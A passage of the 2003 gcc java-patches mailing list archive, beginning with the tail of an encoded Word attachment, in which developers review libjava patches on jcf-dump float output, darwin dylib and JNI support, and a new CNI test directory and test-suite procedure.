AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwA AAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAAP7///8WAAAAFwAAABgAAAAZAAAA GgAAABsAAAAcAAAA/v///x4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAD+////JgAAACcA AAAoAAAAKQAAACoAAAArAAAALAAAAP7////9////LwAAAP7////+/////v////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB//////// //8DAAAABgkCAAAAAADAAAAAAAAARgAAAADAaUAr5je+AUDfuVABgr8BMQAAAIAAAAAAAAAA MQBUAGEAYgBsAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA4AAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAVAAAAABAAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQUAAAD//////////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABlKAAAAAAAAAUAUwB1AG0AbQBhAHIA eQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB AgAAAAQAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQAAAAAQ AAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQA aQBvAG4AAAAAAAAAAAAAADgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAlAAAAABAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAQEAAAAGAAAA/////wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABqAAAAAAAAAE8AYgBqAGUA YwB0AFAAbwBvAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAWAAEA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAABA37lQAYK/AUDfuVABgr8B AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABZAACglLxAAGShQQABAAAA/v////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////wEA/v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYYAAAATWljcm9zb2Z0IFdvcmQgRG9j dW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --Tbb26119XB3b0D6810Q2V9Te-- From java-patches-return-6551-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 15:35:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3007 invoked by alias); 21 Mar 2003 15:35:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2994 invoked from network); 21 Mar 2003 15:35:25 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 21 Mar 2003 15:35:25 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2LFYhc01583; Fri, 21 Mar 2003 15:34:43 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15995.12562.959274.670217@cuddles.cambridge.redhat.com> Date: Fri, 21 Mar 2003 15:34:42 +0000 (GMT) To: Zack Weinberg Cc: tromey@redhat.com, gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) In-Reply-To: <87hea0pre2.fsf@egil.codesourcery.com> References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> <87r8951hla.fsf@fleche.redhat.com> <871y159qa2.fsf@egil.codesourcery.com> <15990.59397.938582.765048@cuddles.cambridge.redhat.com> <87hea0pre2.fsf@egil.codesourcery.com> Zack Weinberg writes: > Andrew Haley writes: > > > > > Zack> Re-revised patch which gets decimal floating point output in > > > > Zack> jcf-dump right for normalized numbers. > ... > > It looks good, but I wanted to apply it and look at the ouput first. > > I'll be able to do that in the next day or so. > > Okay, I look forward to hearing from you. This is fine. Sorry for the delay. static const jdouble s = 0x1.921fb54442eeap+1; will take a little while to get used to, though... :-) Andrew. From java-patches-return-6552-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 19:36:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27111 invoked by alias); 21 Mar 2003 19:36:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27104 invoked from network); 21 Mar 2003 19:36:48 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 21 Mar 2003 19:36:48 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA15729; Fri, 21 Mar 2003 12:36:47 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BD0D24F828B; Fri, 21 Mar 2003 12:32:32 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: FYI: Patch: java.io - file channel access References: <200303200857.30540.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Are you selling NYLON OIL WELLS?? If so, we can use TWO DOZEN!! Date: 21 Mar 2003 12:32:32 -0700 In-Reply-To: <200303200857.30540.konqueror@gmx.de> Message-ID: <87k7esplbj.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commit the attached patch to trunk to add file channel Michael> support java.io. Michael> + synchronized (this) Michael> + { Michael> + if (ch == null) Michael> + ch = new FileChannelImpl (fd, false, this); Michael> + Michael> + return ch; Michael> + } FYI, in cases like this it is more idiomatic to just make the method synchronized. Tom From java-patches-return-6553-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 20:19:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17467 invoked by alias); 21 Mar 2003 20:19:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17458 invoked from network); 21 Mar 2003 20:19:45 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 21 Mar 2003 20:19:45 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA26900; Fri, 21 Mar 2003 13:19:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 308064F828B; Fri, 21 Mar 2003 13:15:27 -0700 (MST) To: Andreas Tobler Cc: Java Patch List Subject: Re: PATCH: jni support for darwin References: <3E6CDB51.5000106@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Should I do my BOBBIE VINTON medley? Date: 21 Mar 2003 13:15:27 -0700 In-Reply-To: <3E6CDB51.5000106@pop.agri.ch> Message-ID: <874r5wpjc0.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> The second part modifies posix.h, it changes the suffix for Andreas> shared libraries under darwin to dylib. But not the prefix, so a library is named `libfoo.dylib'? Weird. Andreas> Tested on 3.4 and 3.3. Ok to commit? Yes, thanks. Andreas> 2003-03-10 Andreas Tobler Andreas> * libltdl/ltdl.c: Omit underscore under darwin. It's fine for us to have a divergence like this, but we'd really prefer it to end up in the main libltdl. If you haven't already submitted this to the libtool developers, could you? Tom From java-patches-return-6554-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 20:22:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18237 invoked by alias); 21 Mar 2003 20:22:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18230 invoked from network); 21 Mar 2003 20:22:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 21 Mar 2003 20:22:38 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA27676; Fri, 21 Mar 2003 13:22:36 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D92404F828B; Fri, 21 Mar 2003 13:18:22 -0700 (MST) To: Andreas Tobler Cc: Java Patch List Subject: Re: patch jni.exp for darwin dylibs References: <3E6989A8.9080506@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: All of a sudden, I want to THROW OVER my promising ACTING CAREER, grow a LONG BLACK BEARD and wear a BASEBALL HAT!! ... Although I don't know WHY!! Date: 21 Mar 2003 13:18:22 -0700 In-Reply-To: <3E6989A8.9080506@pop.agri.ch> Message-ID: <87znnoo4mp.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> It should be applicable to 3.3 and head. If I get an ok, I Andreas> can do that. Andreas> 2003-03-08 Andreas Tobler Andreas> * libjava.jni/jni.exp: Add compilation/link fix dor Andreas> darwin dylibs. The indentation in this patch looks weird. For instance it is using two tabs here: Andreas> + set so_extension "dylib" In context this should only be indented 4 spaces. Otherwise this looks fine. Please fix the indentation and check it in. Thanks. Tom From java-patches-return-6555-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 20:26:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19988 invoked by alias); 21 Mar 2003 20:26:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19967 invoked from network); 21 Mar 2003 20:26:20 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 21 Mar 2003 20:26:20 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA28534; Fri, 21 Mar 2003 13:26:19 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 544E94F828B; Fri, 21 Mar 2003 13:21:59 -0700 (MST) To: Andreas Tobler Cc: Java Patch List Subject: Re: correct dylib suffix in libltdl References: <3E6AE522.3060704@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Boy, am I glad it's only 1971... Date: 21 Mar 2003 13:21:59 -0700 In-Reply-To: <3E6AE522.3060704@pop.agri.ch> Message-ID: <87vfyco4go.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> this patch adds correct dylib detection for darwin. It is Andreas> necessary to continue jni call support on darwin. Looking on the trunk, it appears this code is already in gcc/libtool.m4 and libjava/configure. At least, the hunk I checked is. Do we still need this patch? (I haven't been following things closely lately, sorry.) Tom From java-patches-return-6556-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 21:24:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27466 invoked by alias); 21 Mar 2003 21:24:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27459 invoked from network); 21 Mar 2003 21:24:07 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by sources.redhat.com with SMTP; 21 Mar 2003 21:24:07 -0000 Received: from pop.agri.ch (217.162.238.190) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E79F5910000D8D2; Fri, 21 Mar 2003 22:24:04 +0100 Message-ID: <3E7B8303.1080500@pop.agri.ch> Date: Fri, 21 Mar 2003 22:24:19 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: Java Patch List Subject: Re: PATCH: jni support for darwin References: <3E6CDB51.5000106@pop.agri.ch> <874r5wpjc0.fsf@fleche.redhat.com> In-Reply-To: <874r5wpjc0.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: >>>>>>"Andreas" == Andreas Tobler writes: > > > Andreas> The second part modifies posix.h, it changes the suffix for > Andreas> shared libraries under darwin to dylib. > > But not the prefix, so a library is named `libfoo.dylib'? > Weird. :) e.g: -r-xr-xr-x 1 root wheel 1245772 Dec 14 11:58 libSystem.B.dylib -r-xr-xr-x 1 root wheel 4960576 Dec 3 17:26 libSystem.B_debug.dylib -r-xr-xr-x 1 root wheel 4565868 Dec 3 17:26 libSystem.B_profile.dylib yes, libXYZ.version.dylib > > Andreas> Tested on 3.4 and 3.3. Ok to commit? > > Yes, thanks. > > Andreas> 2003-03-10 Andreas Tobler > Andreas> * libltdl/ltdl.c: Omit underscore under darwin. > > It's fine for us to have a divergence like this, but we'd really > prefer it to end up in the main libltdl. If you haven't already > submitted this to the libtool developers, could you? Hm, it's taken from there. Cross check again tomorrow. But the problem is, we add one underscore too much. The real solution would be to implement dylib access with the mach-o api (to get rid of dl). But for the first step it seems to me sufficient to go this way. Since I'm the only darwin libjava user ;) Thank you for coming back. I'll check the other items as well and check in for branch and trunk as mentioned by you Tom with the fixes. Andreas From java-patches-return-6557-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 01:03:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30915 invoked by alias); 22 Mar 2003 01:03:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30903 invoked from network); 22 Mar 2003 01:03:22 -0000 Received: from unknown (HELO email1.byu.edu) (128.187.22.133) by sources.redhat.com with SMTP; 22 Mar 2003 01:03:22 -0000 Received: from email.byu.edu ([10.7.224.202]) by EMAIL1.BYU.EDU (PMDF V6.2 #30538) with ESMTPA id <01KTSN1L1NTE8YKRAL@EMAIL1.BYU.EDU>; Fri, 21 Mar 2003 18:00:36 -0700 (MST) Date: Fri, 21 Mar 2003 18:01:12 -0700 From: Eric Blake Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) To: Andrew Haley Cc: Zack Weinberg , tromey@redhat.com, gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Message-id: <3E7BB5D8.6080204@email.byu.edu> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> <87r8951hla.fsf@fleche.redhat.com> <871y159qa2.fsf@egil.codesourcery.com> <15990.59397.938582.765048@cuddles.cambridge.redhat.com> <87hea0pre2.fsf@egil.codesourcery.com> <15995.12562.959274.670217@cuddles.cambridge.redhat.com> > > This is fine. Sorry for the delay. > > static const jdouble s = 0x1.921fb54442eeap+1; > > will take a little while to get used to, though... :-) > > Andrew. Would it be worth modifying the gjch output to also list the intended decimal value as a comment following the hex listing? -- This signature intentionally left boring. Eric Blake ebb9@email.byu.edu BYU student, free software programmer From java-patches-return-6558-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 07:14:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11155 invoked by alias); 22 Mar 2003 07:14:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11148 invoked from network); 22 Mar 2003 07:14:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 22 Mar 2003 07:14:02 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id AAA22857; Sat, 22 Mar 2003 00:13:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 92B624F828B; Sat, 22 Mar 2003 00:09:51 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: CNI test directory From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My pants just went to high school in the Carlsbad Caverns!!! Date: 22 Mar 2003 00:09:51 -0700 Message-ID: <87d6kjop1c.fsf@fleche.redhat.com> Lines: 384 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This adds support for CNI tests to the libjava test suite. This patch also adds a couple tests. One, shortfield, is the test that Andrew wrote for the old gcj/g++ layout disagreement. The other, longfield, shows the current Process bug. Tom Index: libjava/testsuite/ChangeLog from Tom Tromey * lib/libjava.exp (gcj_invoke): Moved... * libjava.jni/jni.exp: ...from here. * libjava.cni/shortfield.out: New file. * libjava.cni/shortfield.java: New file. * libjava.cni/natshortfield.cc: New file. * libjava.cni/natlongfield.cc: New file. * libjava.cni/longfield.out: New file. * libjava.cni/longfield.java: New file. * libjava.cni/cni.exp: New file. Index: libjava/testsuite/lib/libjava.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/lib/libjava.exp,v retrieving revision 1.50 diff -u -r1.50 libjava.exp --- libjava/testsuite/lib/libjava.exp 15 Feb 2003 16:39:28 -0000 1.50 +++ libjava/testsuite/lib/libjava.exp 22 Mar 2003 07:12:33 -0000 @@ -457,6 +457,50 @@ return 1 } +# Invoke the program and see what happens. Return 0 on failure. +proc gcj_invoke {program expectFile ld_library_additions} { + global env + set lib_path $env(LD_LIBRARY_PATH) + + set newval . + if {[llength $ld_library_additions] > 0} { + append newval :[join $ld_library_additions :] + } + append newval :$lib_path + + setenv LD_LIBRARY_PATH $newval + setenv SHLIB_PATH $newval + + verbose "LD_LIBRARY_PATH=$env(LD_LIBRARY_PATH)" + + set result [libjava_load ./$program] + set status [lindex $result 0] + set output [lindex $result 1] + + # Restore setting + setenv LD_LIBRARY_PATH $lib_path + setenv SHLIB_PATH $lib_path + + if {$status != "pass"} { + verbose "got $output" + fail "$program run" + untested "$program output" + return 0 + } + + set id [open $expectFile r] + set expected [read $id] + close $id + + if {! [string compare $output $expected]} { + pass "$program output" + return 1 + } else { + fail "$program output" + return 0 + } +} + # Invoke a program and check its output. EXECUTABLE is the program; # ARGS are the arguments to the program. Returns 1 if tests passed # (or things were left untested), 0 otherwise. Index: libjava/testsuite/libjava.cni/cni.exp =================================================================== RCS file: libjava/testsuite/libjava.cni/cni.exp diff -N libjava/testsuite/libjava.cni/cni.exp --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.cni/cni.exp 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1,119 @@ +# Tests for CNI code. + +# Compile a single C++ file and produce a .o file. OPTIONS is a list +# of options to pass to the compiler. Returns 0 on failure, 1 on +# success. +proc gcj_cni_compile_cxx_to_o {file {options {}}} { + global srcdir + + set name [file rootname [file tail $file]] + set oname ${name}.o + + # Find the generated header. + lappend options "additional_flags=-I. -I.." + # Find libgcj headers. + lappend options "additional_flags=-I$srcdir/.." + + set x [libjava_prune_warnings \ + [target_compile $file $oname object $options]] + if {$x != ""} { + verbose "target_compile failed: $x" 2 + fail "[file tail $file] compilation" + return 0 + } + + pass "[file tail $file] compilation" + return 1 +} + +# Build header files given name of .java file. Return 0 on failure. +proc gcj_cni_build_headers {file} { + set gcjh [find_gcjh] + set jvscan [find_jvscan] + + set class_out [string trim \ + [libjava_prune_warnings \ + [lindex [local_exec "$jvscan --encoding=UTF-8 $file --list-class" "" "" 300] 1]]] + if {[string match "*parse error*" $class_out]} { + fail "$file header generation" + return 0 + } + + foreach file [split $class_out] { + set x [string trim [libjava_prune_warnings \ + [lindex [local_exec "$gcjh $file" "" "" 300] 1]]] + if {$x != ""} { + verbose "local_exec failed: $x" 2 + fail "$file header generation" + return 0 + } + } + + pass "$file header generation" + return 1 +} + +# Do all the work for a single CNI test. Return 0 on failure. +proc gcj_cni_test_one {file} { + global runtests + + # The base name. We use it for several purposes. + set main [file rootname [file tail $file]] + if {! [runtest_file_p $runtests $main]} { + # Simply skip it. + return 1 + } + + if {! [bytecompile_file $file [pwd]]} { + fail "bytecompile $file" + # FIXME - should use `untested' on all remaining tests. + # But that is hard. + return 0 + } + pass "bytecompile $file" + + if {! [gcj_cni_build_headers $file]} { + # FIXME + return 0 + } + + set cfile [file join [file dirname $file] nat$main.cc] + if {! [gcj_cni_compile_cxx_to_o $cfile]} { + # FIXME + return 0 + } + + if {! [gcj_link $main $main [list $file nat$main.o]]} { + # FIXME + return 0 + } + + if {! [gcj_invoke $main [file rootname $file].out {}]} { + # FIXME + return 0 + } + + # When we succeed we remove all our clutter. + eval gcj_cleanup [glob -nocomplain -- ${main}.*] [list $main nat$main.o] + + return 1 +} + +# Run the CNI tests. +proc gcj_cni_run {} { + global srcdir subdir + global build_triplet host_triplet + + # For now we only test CNI on native builds. + if {$build_triplet == $host_triplet} { + catch { lsort [glob -nocomplain ${srcdir}/${subdir}/*.java] } srcfiles + + foreach x $srcfiles { + gcj_cni_test_one $x + } + } else { + verbose "CNI tests not run in cross-compilation environment" + } +} + +gcj_cni_run Index: libjava/testsuite/libjava.cni/longfield.java =================================================================== RCS file: libjava/testsuite/libjava.cni/longfield.java diff -N libjava/testsuite/libjava.cni/longfield.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.cni/longfield.java 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1,22 @@ +public class longfield +{ + long lval = 232300; + boolean bval = true; + String sval = "maude"; + + public native void doitc (); + + public void doitj() + { + System.out.println(lval); + System.out.println(bval); + System.out.println(sval); + } + + public static void main(String[] args) + { + longfield f = new longfield(); + f.doitc(); + f.doitj(); + } +} Index: libjava/testsuite/libjava.cni/longfield.out =================================================================== RCS file: libjava/testsuite/libjava.cni/longfield.out diff -N libjava/testsuite/libjava.cni/longfield.out --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.cni/longfield.out 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1,6 @@ +232300 +true +maude +232300 +true +maude Index: libjava/testsuite/libjava.cni/natlongfield.cc =================================================================== RCS file: libjava/testsuite/libjava.cni/natlongfield.cc diff -N libjava/testsuite/libjava.cni/natlongfield.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.cni/natlongfield.cc 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1,15 @@ +#include + +#include "longfield.h" +#include +#include + +void +longfield::doitc () +{ + java::io::PrintStream *ps = java::lang::System::out; + + ps->println(lval); + ps->println(bval); + ps->println(sval); +} Index: libjava/testsuite/libjava.cni/natshortfield.cc =================================================================== RCS file: libjava/testsuite/libjava.cni/natshortfield.cc diff -N libjava/testsuite/libjava.cni/natshortfield.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.cni/natshortfield.cc 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1,10 @@ +#include +#include "shortfield.h" + +void shortfield::ouch () +{ + printf ("list: %d %d 0x%x\n", + modCount, + size__, + data); +} Index: libjava/testsuite/libjava.cni/shortfield.java =================================================================== RCS file: libjava/testsuite/libjava.cni/shortfield.java diff -N libjava/testsuite/libjava.cni/shortfield.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ 